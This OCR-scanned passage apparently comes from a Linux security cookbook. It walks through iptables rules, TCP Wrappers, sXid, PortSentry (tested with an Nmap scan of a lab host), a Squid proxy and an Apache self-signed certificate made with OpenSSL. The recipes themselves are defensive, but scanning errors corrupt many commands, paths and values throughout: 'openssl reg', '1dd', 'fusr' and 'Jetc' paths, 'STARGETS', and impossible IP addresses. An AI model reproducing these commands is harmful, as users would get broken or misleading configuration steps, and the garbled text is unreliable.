reject all other traffic for which no rules have been set. To do so, we add this rule:

iptables -A INPUT -j REJECT --reject-with icmp-host-unreachable

By doing this, whenever anyone tries to connect to the server, a Host Unreachable
ICMP packet will be sent to them, which would then terminate the connection attempt.
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11. After adding all of the preceding rules, Iptables will now look similar to what is shown
in the following screenshot:

iptables -L

root@sshserver:~# iptables -L
Chain INPUT (policy ACCEPT)

prot opt source destination

all -- anywhere anywhere

all -- anywhere anywhere ctstate RELATED,ES
TABLISHED
ACCEPT icmp anywhere anywhere icmp time-exceeded
ACCEPT icmp anywhere anywhere icmp fragmentation
-needed
ACCEPT icmp anywhere anywhere icmp echo-request
allowed_ip all anywhere anywhere
REJECT all anywhere anywhere reject-with icmp-h
ost-unreachable

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain allowed_ip (1 references)
target prot opt source destination
ACCEPT tep - anywhere anywhere tcp dpt:ssh

To block all incoming traffic on the server and allow only outbound connections, we again use
Iptables as it is the default firewall of Linux.

To allow the proper functioning of the server internally, we allow access to localhost.

Next, to keep the outbound connections active, we add a rule to accept the Time Exceeded,
Destination Unreachable, and Echo ICMP packets.

Once these rules have been added, we can decide whether we wish to allow any incoming
traffic for particular services, such as SSH, or a certain client address. For this, we create a
table to add a list of IP addresses for the clients that we want to allow. We add a rule to allow
access to an SSH service or any other service as per our requirements.

Lastly, we add a rule to reject all the traffic for which no rule has been added.
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Configuring and using the TCP Wrapper

Securing a server by restricting access is a critical measure, which should never be avoided
while setting up a server. Using TCP Wrappers, we can allow only those networks to have
access to our server's services that we have configured and support TCP Wrappers.

Getting Ready

To demonstrate these steps, we use two systems that are on the same network and can ping
each other successfully. One system will be used as the server and the other as the client.

How to do it?

Linux provides several tools to control access to network services. TCP Wrappers is one among
those and adds an additional layer of protection. Here, we will take a look at how to configure
TCP Wrappers to define access for different hosts.

1. First, we need to check whether a program supports TCP Wrappers or not. To do this,
first find the path of an executable program using the which command:

which sshd

root@sshserver:~# which sshd
Jusr/sbin/sshd

root@sshserver:~#

Here, we have used the SSH program as an example.

2. Next, we use the 1dd program to check the compatibility of the SSH program with
TCP Wrappers:

1dd /usr/sbin/sshd

root@sshserver:~# ldd fusr/sbin/sshd
linux-gate.so.1 => (0xb77cdean)
libwrap.so.® => flib/1386-1inux-gnu/libwrap.so.® (@xb7729000)
libpam.so.® => f1ib/i386-1linux-gnu/libpam.so.® (@xb771boeoe)
libselinux.so0.1 == f1ib/1386-1inux-gnu/libselinux.s0.1 (@xb76fboea)
libpthread.so.® == f1ib/1386-1inux-gnu/libpthread.so.® (@xb76e0000)
libcrypto.so0.1.0.0 => f1ib/1386-1inux-gnu/libcrypto.s0.1.0.0 (0xb7535000

libutil.so.1 => flib/1386-1inux-gnu/libutil.so.1 (8xb75316000)

libz.s0.1 => /lib/1386-1inux-gnu/libz.so.1 (@xb751booa)

libcrypt.so.1 => flib/i386-1inux-gnu/libcrypt.so.1 (0xb74e9000)
libgssapi_krb5.s0.2 == fusr/lib/i386-1inux-gnu/libgssapi_krb5.s0.2 (0xb7
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If the output of the preceding command has the 1ibwrap. so content, it means that
the program is supported by TCP Wrappers.

3. Now, whenever an SSH program tries to connect to the server using TCP Wrappers,
two files are checked in this order:

o /etc/hosts.allow: If a matching rule is found in this file for the program,
access will be given

o /etc/hosts.deny: If a matching rule is found in this file for the program,
access will be denied

4. If no matching rule is found in either of the two files for the specific program, access
will be given.

5. If we try to connect to the SSH server, before adding any rule, we see that it
connects successfully.

root@mykerberos:~# ssh tajinder@192.168.1.107

The authenticity of host '192.168.1.187 (192.168.1.107)' can't be established.
ECDSA key fingerprint is 31:9d:b4:6e:ab:ed:d@:0f:14:28:6c:df:eb:fb:1f:0b.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.107' (ECDSA) to the list of known hosts.
tajinder@192.168.1.107's password:

Welcome to Ubuntu 12.84.4 LTS (GNU/Linux 3.11.0-15-generic i686)

* Documentation: https://help.ubuntu.com/

New release '14.84.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Jan 5 16:48:08 2016 from tj-dev-client.local
tajinder@sshserver:~$

6. Now let's suppose we want to deny access to the SSH program for a particular
system that has a given IP address. Then, we will edit the /etc/hosts.deny file,
as shown here:
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Jetc/hosts.deny: list of hosts that are _not_ allowed to access the system.
See the manual pages hosts_access(5) and hosts_options(5).

Example: ALL: some.host.name, .some.domain
ALL EXCEPT in.fingerd: other.host.name, .other.domain

The PARANOID wildcard matches any host whose name does not match its
address.

You may wish to enable this to ensure any programs that don't
validate looked up hostnames still leave understandable logs. In past
versions of Debian this has been the default.

ALL: PARANOID

sshd 192.168.1.106]

7. If we try to connect to the SSH server from this particular system for which we have
denied access, it shows the following error:

root@mykerberos:~# ssh tajinder@192.168.1.107
ssh_exchange_identification: Connection closed by remote host
root@mykerberos:~# |J

8. If we want to allow access for all programs and clients, you can either add no rules in
either of the two files or add the following line to the /etc/hosts.allow file:

9. If we want to allow access for all the services from a particular client that has the
192.168.1.106 IP address, then we add the following line to the /etc/hosts.
allow file:

Jetc/hosts.allow: 1list of hosts that are allowed to access the system.
See the manual pages hosts_access(5) and hosts_options(5).

Example: ALL: LOCAL @some_netgroup
ALL: .foobar.edu EXCEPT terminalserver.foobar.edu

192.168.1.106
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10.

If we want to allow all the clients on a particular network to access SSH, except for a
particular client that has the 192.168.1.100 IP address, we can make the following
changes to the /etc/hosts.allow file:

Jetc/hosts.allow: list of hosts that are allowed to access the system.
See the manual pages hosts_access(5) and hosts_options(5).

Example: ALL: LOCAL @some_netgroup

ALL: .foobar.edu EXCEPT terminalserver.foobar.edu

192.168.1.100 : DENY
192.168.1.0/255.255.255.0

11.

12.

After making the aforementioned changes, when we try to connect through SSH,
we see the following error:

root@mykerberos:~# ssh tajinder@192.168.1.101
ssh_exchange_identification: Connection closed by remote host
root@mykerberos:~# ifconfig eth® 192.168.1.1602
root@mykerberos:~# ssh tajinder@l92.168.1.101
tajinder@192.168.1.101's password:

Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Jan 19 02:40:55 2016 from 192.168.1.100
tajinder@sshserver:~$ JJ

We can see that once the IP address has been changed for the client, SSH access
is now allowed, which means that all the clients on a particular network can access
SSH, except for the IP address that has been denied.

The preceding steps block the services rules are defined in the /etc/hosts.allow
file. However, at the server end, we don't get to know which client has tried to access
the server and when. So, if we want to maintain a log of all connection attempts by
the client, we can edit the /etc/hosts.allow file, as shown here:
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Jetc/hosts.allow: list of hosts that are allowed to access the system.
See the manual pages hosts_access(5) and hosts_options(5).

Example: ALL: LOCAL @some_netgroup
ALL: .foobar.edu EXCEPT terminalserver.foobar.edu

: 192.168.1.103 : spawn /binfecho “/bin/date’ from %h > /fconn.log : deny

In the preceding screenshot, the spawn keyword defines that whenever a connection
request is made by the client, it will echo the details that are specified by the $h
option and save it in the conn. log log file.

13. Now, when we read the contents of the conn. 1og file, we see these details:

root@sshserver: /# cat conn.log
Tue Jan 19 85:32:54 IST 2016 from 192.168.1.183

root@sshserver: /#

The file contains a log of when the client has tried to connect and from which IP address.
More details can be captured using different arguments of the spawn command.

We use TCP Wrappers to restrict access to programs that are supported by the TCP Wrapper
package.

We first check whether the program we want to restrict is supported by TCP Wrapper or not
using the 1d4d tool.

We then add a rule in the/etc/hosts.allow or /etc/hosts.deny file as per our
requirements.

We add a rule to restrict the program from a particular client or the complete network as per
our needs.

Using the spawn option in TCP Wrapper, we even maintain a log for the connection attempts
made by the client or the program that we have restricted.
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In this chapter, we will discuss:

» Linux sXID

» PortSentry

» Using Squid Proxy
» OpenSSL Server
» Tripwire

» Shorewall

In Linux, normally a file has permissions of read, write, and execute. Apart from these
permissions, it can also have special permissions, such as Set owner User ID (SUID) and Set
Group ID up on execution (SGID). Due to these permissions, it is possible for a user to log in
from their account and still run a particular file/program with the permissions of the actual file
owner (which can be root also).

sXid is the tool for monitoring SUID/SGID on a regular basis. Using this tool, we can track
changes in the SUID/SGID of files and folders.

Getting Ready

To use the tool, we need to install the sxid package on our Linux system. We can either use
the apt -get command to install the package, or we can download the package and manually
configure and install it.
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How to do it...

To start monitoring SUID/SGID files and folders, we begin with the installation of the package
and then we configure the tool as per our requirements:

1. The first step is to install the sxid package. To do so, we run the command as follows:
apt-get install sxid

root@tj-dev:~# apt-get install sxid
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:

exim4 exim4-base exim4-config exim4-daemon-light heirloom-mailx
Suggested packages:

eximon4 exim4-doc-html exim4-doc-info spf-tools-perl swaks
Recommended packages:

mailx
The following NEW packages will be installed:

exim4 exim4-base exim4-config exim4-daemon-light heirloom-mailx sxid
0 upgraded, 6 newly installed, @ to remove and 334 not upgraded.
Need to get 1,988 kB of archives.
After this operation, 4,334 kB of additional disk space will be used.
Do you want to continue [Y/n]? ¥y

2. Once the installation completes, we start editing the file /etc/sxid.conf to use
the tool as per our requirements. Open the file in any editor of your choice:

nano /etc/sxid.conf

3. Inthe configuration file, look for the line shown in the following screenshot:

# Who to send reports to

EMAIL = "root"

Change the value for EMAIL to any other email ID if you wish to get the output of
changes whenever sxid is run to your email ID.

4. Next, look for the line which reads KEEP_LOGS and change the value to any
numerical value of your choice. This number defines how many log files to keep:

# How many logs to keep

KEEP_LOGS = "5"
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5. If you wish to get the logs even when sxid finds no changes, then change the value
for ALWAYS NOTIFY to yes:

# Always send reports, even when there are no changes?

ALWAYS_NOTIFY = "no"

6. We can define a list of directories, separated with spaces, for the option SEARCH for
sXID to use as a starting point for its search.

However, if we wish to exclude any directory from the search, we can specify it under
the EXCLUDE option:

# Where to begin our file search
SEARCH = "Jusr fusr/local/share"

# Which subdirectories to exclude from searching
EXCLUDE = "fusr/local”

Suppose we have a directory /usr/local/share to be searched, and the /usr/
local directory has been mentioned in the exclude list, then it will still be searched.
This becomes useful for excluding a main directory, and only specifying one.

7. There are many more options in /etc/sxid.conf that can be configured as per our
requirements. Once we are done with editing the file, save and close the file.

8. Now, if we want to run sxXid manually for spot-checking, we use the following
command:

sxid -c¢ /etc/sxid.conf -k

root@tj-dev:~# sxid -c fetc/sxid.conf -k
sXid vers : 4.20130802

Check run : Mon Feb 1 21:18:03 2016
This host : tj-dev

Spotcheck : /root

Excluding : /proo /mnt fcdrom [floppy
Ignore Dirs: fhome

Forbidden : /home /tmp

No changes found

Here, the -c option helps to define the path of the config file if it is not automatically picked
by the command. The -k option runs the tool.
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First we install the sxid package, and then we configure it by editing the file /etc/sxid.
conf as per our requirements.

Once the configuration has been done, we run sXid manually to perform spot-checking.

We can even add an entry in crontab to run sXid automatically at a defined interval if we
wish to.

As a system administrator, one major concern is to protect the system from network intrusions.

This is where PortSentry comes into the picture. It has the ability to detect scans on a host
system and react to those scans in the way we choose.

Getting Ready

To demonstrate the implementation and usage of PortSentry, we need two systems on the
same network that can ping each other.

Also, we need the Nmap package on one system, which will be used as the client, and on the
other system, we will install and configure the PortSentry package.

To install the Nmap package, use the following command:

apt-get install nmap

root@client:~# apt-get install nmap
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
nmap
0 upgraded, 1 newly installed, @ to remove and 326 not upgraded.

Need to get 1,623 kB of archives.

After this operation, 6,876 kB of additional disk space will be used.

Get:1 http://in.archive.ubuntu.comfubuntu/ precise/main nmap 1386 5.21-1.1ubunt
1 [1,623 kB]

Fetched 1,623 kB in 4s (331 kB/s)
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How to do it?

1. On the first system, we install the Portsentry package, using the following
command:

apt-get install portsentry

root@server:~# apt-get install portsentry
Reading package lists... Done
Building dependency tree
Reading state information... Done
suggested packages:
logcheck
The following NEW packages will be installed:
portsentry
0 upgraded, 1 newly installed, ® to remove and 334 not upgraded.
Need to get 74.2 kB of archives.
After this operation, 315 kB of additional disk space will be used.
Get:1 http://in.archive.ubuntu.com/ubuntu/ precisefuniverse portsentry 1386 1.2-
12 [74.2 kB]
Fetched 74.2 kB in 1s (49.7 kB/s)
Preconfiguring packages ...
Selecting previously unselected package portsentry.
(Reading database ... 65%

2. During the installation process a window will open containing some information about
Portsentry. Just click OK to continue:

| Configuring portsentry }

PortSentry does not block anything by default.

Please note that by default PortSentry takes no action against potential
attackers. It only dumps messages into /var/log/syslog. To change this
edit fetc/portsentry/portsentry.conf.

You may also want to check:
Jetc/default/portsentry (daemon startup options) and
Jetc/portsentry/portsentry.ignore.static (hosts/interfaces to ignore)

For further details see the portsentry(8) and portsentry.conf(5)
manpages.
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3.

Feb

As soon as the installation completes, portsentry starts monitoring on the TCP
and UDP ports. We can verify this by checking the file /var/log/syslog using
the following command:

grep portsentry /var/log/syslog

2 11:20:01 [16295]: adminalert: Going into listen mode on

TCP port: 32774

Feb

2 11:20:01 [16295]: adminalert: Going into listen mode on

TCP port: 40421

Feb

2 11:20:01 [18295]: adminalert: Going into listen mode on

TCP port: 49724

Feb

2 11:20:01 [18295]: adminalert: Going into listen mode on

TCP port: 54320

Feb

2 11:28:01 [18295]: adminalert: PortSentry is now active a

nd listening.

Feb

Feb

2 11:20:01 [10298]: adminalert: PortSentry 1.2 is startin

2 11:20:01 [18299]: adminalert: Going into listen mode on

UDP port: 1

Feb

2 11:20:01 [18299]: adminalert: Going into listen mode on

UDP port: 7

4.
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We can see messages related to portsentry in the log.

Now, on the second machine, which we are using as client, run the Nmap command
as shown in the following:

root@client:~# nmap -sT -v 192.168.1.182

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-03 07:34 IST
Initiating ARP Ping Scan at 07:34

Scanning 192.168.1.182 [1 port]

Completed ARP Ping Scan at ©7:34, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 087:34
Completed Parallel DN5 resolution of 1 host. at ©87:34, 13.00s elapsed
Initiating Connect Scan at 07:34

Scanning 192.168.1.102 [1008 ports]

Discovered open port 80/tcp on 192.168.1.102

Discovered open port 143/tcp on 192.168.1.102

Discovered open port 111/tcp on 192.168.1.102

Discovered open port 443/tcp on 192.168.1.102

Discovered open port 31337/tcp on 192.168.1.102

Discovered open port 32771/tcp on 192.168.1.102

We can also use any other command of Nmap to perform a TCP or UDP scan on the
first system, which has portsentry running. To learn more about Nmap commands,
see Chapter 1, Linux Security Problems.
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In the above result, we can see that Nmap is able to scan successfully even when
portsentry is running on the first system.

We can even try to ping the server system from the client to see if it is working after
installing portsentry.

Now let's configure portsentry by editing the file /etc/portsentry/
portsentry.conf on the server system.

After opening in an editor of your choice, look for the following lines and change the
value to 1:

Do not block UDP/TCP scans.
= Block UDP/TCP scans.
Run external command only (KILL_RUN_CMD)

BLOCK_UDP="1"
BLOCK_TCP="1"

Scroll down and then find and uncomment the following line:

#

# iptables support for Linux

KILL_ROUTE="/sbin/iptables -I INPUT -s STARGETS -j DROP"
#

Next, uncomment the line shown in the following:

#
KILL_HOSTS_DENY="ALL: STARGETS : DENY"

Once done, save and close the file.

Next, edit the file /etc/default/portsentry:

#
TCP_MODE="atcp"

UDP_MODE="audp"

In the lines shown above, we need to mention for which protocol portsentry should
be working, TCP or ATCP.
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7. Now edit the file /etc/portsentry/portsentry.ignore.static and add a
line at the bottom, as shown in the following screenshot:

127.0.0.1/32
0.0.0.0

192.168.1.104/255.255.255.0

Here, 192.168.1.104 is the IP address of the client machine which we are trying
to block.

8. Now restart the portsentry service by running the following command:

root@server:~# Jetc/init.d/portsentry restart

Stopping anti portscan daemon: portsentry.

Starting anti portscan daemon: portsentry in atcp & audp mode.
root@server:~#

9. Once the above steps are complete, we will again try to run Nmap on the client
machine and see if it still works properly:

root@client:~# nmap -sT -v 192.168.1.102

Starting Nmap 5.21 ( http://nmap.org ) at 2016-02-83 13:04 IST
Initiating ARP Ping Scan at 13:04

Scanning 192.168.1.102 [1 port]

Completed ARP Ping Scan at 13:04, 0.27s elapsed (1 total hosts)
Nmap scan report for 192.168.1.102 [host down]

Read data files from: fusr/share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -PN
Nmap done: 1 IP address (@ hosts up) scanned in ©.39 seconds
Raw packets sent: 2 (84B) | Rcvd: @ (@B)
root@client:~#

We can see that now Nmap is not able to scan the IP address.
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10. If we try to ping the server from the client, even that does not work:

root@client:~# ping 192.168.1.182
192.168.1.102 (192.168.1.102) 56(84) bytes of data.
192.168.1.104 icmp_seq=9 Destination Host Unreachable
192.168.1.104 icmp_seq=18 Destination Host Unreachable
192.168.1.104 icmp_seq=11 Destination Host Unreachable

192.168.1.104 icmp_seq=12 Destination Host Unreachable
192.168.1.104 icmp_seq=13 Destination Host Unreachable
192.168.1.104 icmp_seq=14 Destination Host Unreachable

192.168.1.102 ping statistics ---

11. If we check the file /etc/hosts.deny, we shall see the following line has
automatically been added:

ALL: 192.168.1.104 : DENY

12. Similarly, when we check the file /var/lib/portsentry/portsentry.history,
we get a result similar to the last line in the image below:

25:13 Host: 192.168.1.103/192.168.1.163 Port: 143 TCP Blocked
B:24 Host: 192.168.1.183/192.168.1.103 Port: 554 TCP Blocked
14 Host: 192.168.1.104/192.168.1.1084 Pori: 23 TCP Blocked

We use two systems. The first system acts as a portsentry server, while the other acts as
the client.

On the first system, we install the portsentry package, and on the second system we install
Nmap, which will be used to demonstrate the working.

Now we perform an Nmap scan from the client machine on the server. We can see that it
works fine.

After this, we configure portsentry as per the requirements, by editing various files.

Once editing is complete, restart the portsentry service and again try to perform the Nmap
scan from the client on the server. We see that now the scan does not work properly.
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Using Squid proxy

Squid is a web proxy application with a variety of configurations and uses. Squid has a large
number of access controls, and supports different protocols, such as HTTP, HTTPS, FTP, SSL,
and so on.

In this section we will see how to use Squid as an HTTP proxy.

Getting Ready

To install and use Squid on a particular system on a network, ensure that the particular
system has enough physical memory, because Squid also works as a cache proxy server and
thus needs space to maintain the cache.

We are using a Ubuntu system for our example and Squid is available in Ubuntu repositories, so
we need to ensure that our system is up to date. For doing this we run the following command:

apt-get update
After that, run the following command:

apt-get upgrade

How to do it...

To install and configure Squid on our system, we have to take the following steps:

1. The first step is to install the squid package, and to do so, we run the command
as follows:

root@client:~# apt-get install squid

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:
squid-langpack squid3 squid3-common

Suggested packages:

squidclient squid-cgi
The following NEW packages will be installed:
squid squid-langpack squid3 squid3-common
0 upgraded, 4 newly installed, © to remove and 335 not upgraded.
Need to get 1,954 kB of archives.
After this operation, 6,610 kB of additional disk space will be used.
Do you want to continue [Y/n]?
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2. Assoon as the installation of Squid completes, it starts running with the default
configuration, which is defined to block all the HTTP/HTTPs traffic on the network.
To check this, we just need to configure the browser, on any system on the network, to
use the IP address of the proxy system as proxy, as shown in the following screenshot:
Ceonfigure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use systern proxy settings
@ Manual proxy cenfiguration:
HTTP Progy:  102.168.1,.104| Port: 3285
Use this proxy server for all protocols
SSL Prowy: Port: 0
ETP Proxy: Port: 0%
SOCKS Host: Port: 0
SOCKSwd @ SOCKSVS Remote DNS
3. Once done, we can now try to access any website and we will see an error screen as
shown in the following image:
& wwrwgooglecom

ERROR

The requested URL could not be retrieved

The following error was encountered while trying to retrieve the URL: http://'www.gooale.com/

Access control configuration prevents your request from being allowed at this time. Please contact yvour

‘Your cache administrator is webmaster.

Access Denied.
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4.
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Now we will start configuring our proxy server to get it to work as per our requirements.
For this we will edit the file /etc/squid3/squid. conf in any editor.

Once the file is open in the editor, search for the category which reads:

TAG: visible hostname:Under this category, add the line—visible hostname
ourProxyServer:

# TAG: visible_hostname

# If you want to present a special hostname in error messages, etc,
# define this. Otherwise, the return value of gethostname()
#
#

will be used. If you have multiple caches in a cluster and
get errors about IP-forwarding you must set them to have individual
names with this setting.

visible_hostname ourProxyServer

#Default:

# visible_hostname localhost

Here, ourProxyServer is a name we have given to our proxy server. You can
choose any name you like.

Next, search for the category which reads TAG: cache mgr and add the line
cache mgr email@yourdomainname. Here, mention the email ID of the
administrator, who can be contacted instead of email@yourdomainname.

# ADMINISTRATIVE PARAMETERS

# TAG: cache_mgr

# Email-address of local cache manager who will receive
it mail if the cache dies. The default is "webmaster."
cache_mgr email@yourdomainname

Next we search for the line which reads as shown in the following screenshot. The
http_ port variable defines the port on which the Squid proxy will listen. The default
port is 3128; however, we can change to any other port which is not being used. We
can even define more than one port for Squid to listen to, as shown in the following
screenshot:

# Squid normally listens to port 3128

http_port 3128 8888
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7. Now we need to add the rule to allow traffic on the network computers, as per our
requirements. For this we will search for the line which reads acl localnet src
10.0.0.8.

Here, we add our rule acl localnetwork src 192.168.1.0/24,asshownin
the following image:

# Example rule allowing access from your local networks.

# Adapt to list your (internal) IP networks from where browsing

# should be allowed

#acl localnet 10.0.0.0/8 # RFC1918 possible internal network
#acl localnet 172.16.8.0/12 # RFC1918 possible internal network

192.168.0.0/16 # RFC1918 possible internal network
fcoo:: /7 # RFC 4193 local private network range
fegd:: /10 # RFC 4291 link-local (directly plugged) machi$

acl localnetwork src 192.168.1.0/24

In the preceding rule, acl is used to define a new rule and localnetwork is the
name we have given to our rule. src defines the source of the traffic which will come
to the proxy server. We define the network IP address with the subnet in bits as
shown previously.

We can add as many rules as we wish to, according to our requirements.

8. Next, search for the line which reads http access allow localhost, and below
this add the line http access allow localnetwork to start using the rule
which we added in the previous step, to allow the traffic:

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed

#http_access allow localnet

http_access allow localhost

http_access allow localnetwork

9. Once we are done with the preceding configuration steps, we restart the Squid
service using the following command:

service squid3 restart
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10. Now our Squid proxy server is running. To check, we can try to access the IP address
of the proxy server from a browser on any system on the network:

= 192.168.1.104

The following error was encountered while trying to retrieve the URL: http://192.168.1.104/
Connection to 192.168.1.104 failed.

The system returned: (111) Connection refused

The remote host or network may be down. Please try the request again.

Your cache administrator is email@vourdomainname.

Generated Thu, 11 Feb 2016 18:45:12 GMT by surProxyServer (squid/2.1.19)

The above error screen tells us that the Squid proxy is working fine.

Now we can try to visit any other website and it should open as per the rule we have
added in the configuration file of Squid.

We start by installing the Squid package. Once the package is installed, we edit its
configuration file /etc/squid3/squid.conf and add the hostname, email ID of the
administrator, and the port on which Squid will listen.

Then we create the rule to allow traffic for all the systems on the same network. Once we save
all the configurations, we restart the Squid service, and our proxy server is now working.

OpenSSL Server

SSL is a protocol used for transmitting sensitive information over the Internet. This could
include information such as account passwords, credit card details, and so on. SSL is most
popularly used in conjunction with web browsing over the HTTP protocol.

OpenSsSL library provides an implementation of Secure Sockets Layer (SSL) and TLS
Transport Layer Security (TLS) protocols.
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Getting Ready

To demonstrate the use of OpenSSL, we need two systems. One will be used as a server on
which we will install the OpenSSL package and also Apache. The second system will be used
as the client.

How to do it...

We will now see how to create a self-signed certificate using OpenssL, for Apache. This will
help encrypt traffic to the server:

1. We start by installing OpenSSL package on the first system using the following
command:

root@tj-dev:~# apt-get install openssl
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
openssl
1 upgraded, ® newly installed, @ to remove and 334 not upgraded.
Need to get 519 kB of archives.
After this operation, 1,024 B of additional disk space will be used.
Get:1 http://in.archive.ubuntu.com/ubuntu/ precise-updates/main openssl 1386 1.0
.1-4ubuntu5.33 [519 kB]
Fetched 519 kB in 2s (188 kB/s)
(Reading database ... 147193 files and directories currently installed.)
Preparing to replace openssl 1.0.1-4ubuntu5.11 (using .../openssl_1.0.1-4ubuntu5s
.33_1386.deb) ...
Unpacking replacement openssl ...
Processing triggers for man-db ...
Setting up openssl (1.0.1-4ubuntu5.33) ...

2. Next, we will install Apache on the same system, as shown in the following:

root@tj-dev:~# apt-get install apache2

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:
apache2-mpm-worker apache2-utils apache2.2-bin apache2.2-common libapri
libaprutill libaprutili-dbd-sqlite3 libaprutili-ldap

suggested packages:
apache2-doc apache2-suexec apache2-suexec-custom

The following NEW packages will be installed:
apache2 apache2-mpm-worker apache2-utils apache2.2-bin apache2.2-common
libapri libaprutill libaprutili-dbd-sqlite3 1libaprutili-ldap

® upgraded, 9 newly installed, ® to remove and 335 not upgraded.

Meed to get 1,836 kB of archives.

After this operation, 5,230 kB of additional disk space will be used.

Do you want to continue [Y/n]? y
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3. Once Apache is installed, we need to enable SSL support, which comes as standard
in the Apache package for Ubuntu. To do this, we run the command as follows:

root@tj-dev:~# a2enmod ssl
Enabling module ssl.
See fusr/share/doc/apache2.2-common/README.Debian.gz on how to configure SSL and
create self-signed certificates.
To activate the new configuration, you need to run:
service apache2 restart

root@tj-dev:~# service apache2 restart
* Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
. waiting apache2: Could not reliably determine the server's fully qualified
domain name, using 127.0.1.1 for ServerName
[ OK ]

After enabling SSL support, restart Apache as shown in the preceding screenshot,
using this command:

service apache2 restart

4. Now create a directory inside Apache's configuration directory. This is the place where
we shall keep the certificate files, which we will be making in the next step:

mkdir /etc/apache2/ssl

5. Now we will create the key and the certificate using the following command:

root@tj-dev:~# openssl reg -x509 -nodes -days 365 -newkey rsa:2048 -keyout fetc/
apache2/sslfserver.key -out /etc/apache2/ssl/server.crt
Generating a 2048 bit RSA private key

In the preceding command, req -x509 specifies that we will be creating a
self-signed certificate, which will adhere to X.509 Certificate Signing Request
(CSR) management.

-nodes specifies that the key file will be created without being protected with
any password.

-days 365 tells us that the certificate being created will be valid for one year.

-newkeyrsa: 2048 tells us that the private key file and the certificate file will both
be created at the same time and that the key generated will be 2048 bits long.
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The next parameter, -keyout, specifies the name for the private key which will
be created.

The -out parameter mentions the name of the certificate file being created.

6. When the key and certificate files are being created, you will be asked a few
questions. Provide the details as per your configuration. However, the option which
reads Common Name (e.g. server FQDN or YOUR name) isimportant, and
we have to provide either the domain name or the server's public IP:

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:IN

State or Province Name (full name) [Some-State]:DEL

Locality Name (eg, city) []:DEL

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tajinder Kalsi
Organizational Unit Name (eg, section) []:Tajinder Kalsi

Common Name (e.g. server FQDN or YOUR name) []:192.168.1.1603

Email Address []:info@tajinderkalsi.com

7. Next, we need to edit the file /etc/apache2/sites-available/default
to configure Apache to use the key file and the certificate file created in the
previous steps.

Find and edit the lines as shown in the following screenshot. For ServerName,
we have provided the IP address of the Apache server system:

<VirtualHost *:443>
ServerAdmin webmaster@localhost
ServerName 192.168.1.103:443

In the same file, scroll to the end of the file, and before the <virtualHost> block
closes, add the lines given in the following screenshot. Mention the key file name
and certificate file name which was used while creating these files:

SSLEngine on
SSLCertificateFile fetc/apache2/ssl/server.crt
SsLCertificateKeyFile [etc/apache2/ssl/server.key

</VirtualHost>
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8.

Now, on the client system, open any browser and visit the Apache server's public IP
using the https: // protocol, as shown in the following:

& 192.168.1.103 +~@| [B~ coogle q| I

‘@ = ‘ This Connection is Untrusted

D]

You have asked Firefox to connect securely to 192.168.1.103, but we can't
confirm that your connectionis secure.

Normally, when you try to connect securely, sites will present trusted
identification to prove that you are going to the right place. However, this site's
identity can't be verified.

What Should | Do?

If you usually connect ko this site without problems, this error could mean that
someone is trying to impersonate the site, and you shouldn't continue.

Get me out of here!
Technical Details

| Understand the Risks

The browser will show a warning message regarding the connection not being secure,
because the certificate is not signed by any trusted authorities.

Click on I Understand the Risks and then click on the button Add Exception to add
the certificate in the browser:

'l Understand the Risks

If you understand what's going on, you can tell Firefox to start trusting this site's
identification. Even if you trust the site, this error could mean that
someone is tampering with your connection.

Don't add an exception unless you know there's a good reason why this site
doesn't use trusted identification.

Add Exception...

10. The next windows will show some information about the server. To proceed further
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and add the certificate, click on Confirm Security Exception:




" ©® Add Security Exception

Server

You are about to override how Firefox identifies this site.

Legitimate banks, stores, and other public sites will not
ask you to do this.

Rt il [ ctps://152.168.1.103] | | Get certificate

information.

Certificate Status
This site attempts to identify itself with invalid

uUnknown Identity

Certificate is not trusted, because it hasn't been verified by a
recognized authority using a secure signature.

& Permanently store this exception

| Confirm Security Exception | | Cancel |

| View... |
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11. If you wish to check more the details of the certificate, click on View in the previous
screen and you will get a new window showing complete details of the certificate, as

shown in the following;:

Certificate Viewer:"192.168.1.103"

General | Details

Could not verify this certificate because the issuer is not trusted.

Issued To

Common Name (CN)
Organization (O)
Organizational Unit (OU)
Serial Number

Issued By

Common Name (CN)
Organization (O)
Organizational Unit (OU)
Validity

Issued On

Expires On

Fingerprints
SHA1 Fingerprint
MDS5 Fingerprint

192.168.1.103
Tajinder Kalsi
Tajinder Kalsi
00:E6:41:95:BA:4A:3D:75:86

192.168.1.103
Tajinder Kalsi
Tajinder Kalsi

Monday 01 February 2016
Tuesday 31 January 2017

SBI17:7A:61:2CTE19:AAFB:72:90:D7:18:71:D5:4B:C8:CT7:8E:9C
3A:54:DB:88:45:58:A0:8F:A1:EA:DE:0D:C1:0D:AT7:02
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12. Once the certificate has been added successfully, the web page loading will
complete, as shown in the following;:

= a 192.168.1.103 ~@ B~ Q

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

We use two systems in this setup. First is the Apache server, on which we install the OpenSSL
package. The second system works as the client, from which we will try to connect to the
Apache web server.

After installing the Apache and OpenSSL package on the first system, we enable SSL support
for Apache. Then we create the server key and server certificate file using the OpenSSL tool
and a few arguments.

After this, we edit the file /etc/apache2/sites-available/default, so that Apache
can use the key and certificate that we have created.

